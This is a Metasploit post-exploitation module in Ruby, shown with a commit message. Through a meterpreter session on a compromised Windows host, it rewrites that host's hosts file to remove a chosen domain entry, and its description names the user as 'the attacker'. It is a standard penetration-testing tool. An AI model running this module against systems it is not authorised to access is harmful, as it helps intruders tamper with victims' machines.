Michael Schierl
21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
68 lines
1.6 KiB
Ruby
68 lines
1.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Manage Host File Entry Removal',
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'Description' => %q{
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This module allows the attacker to remove an entry from the Windows hosts file.
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},
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'License' => BSD_LICENSE,
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'Author' => [ 'vt <nick.freeman[at]security-assessment.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptString.new('DOMAIN', [ true, 'Domain name to remove from the hosts file.' ])
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], self.class)
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end
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def run
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hosttoremove = datastore['DOMAIN']
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# remove hostname from hosts file
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fd = client.fs.file.new("C:\\WINDOWS\\System32\\drivers\\etc\\hosts", "r+b")
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# Get a temporary file path
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meterp_temp = Tempfile.new('meterp')
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meterp_temp.binmode
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temp_path = meterp_temp.path
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print_status("Removing hosts file entry pointing to #{hosttoremove}")
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newfile = ''
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fdray = fd.read.split("\r\n")
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fdray.each do |line|
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if line.match("\t#{hosttoremove}$")
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else
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newfile += "#{line}\r\n"
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end
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end
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fd.close
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meterp_temp.write(newfile)
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meterp_temp.close
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client.fs.file.upload_file('C:\\WINDOWS\\System32\\drivers\\etc\\hosts', meterp_temp)
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print_good("Done!")
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end
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end
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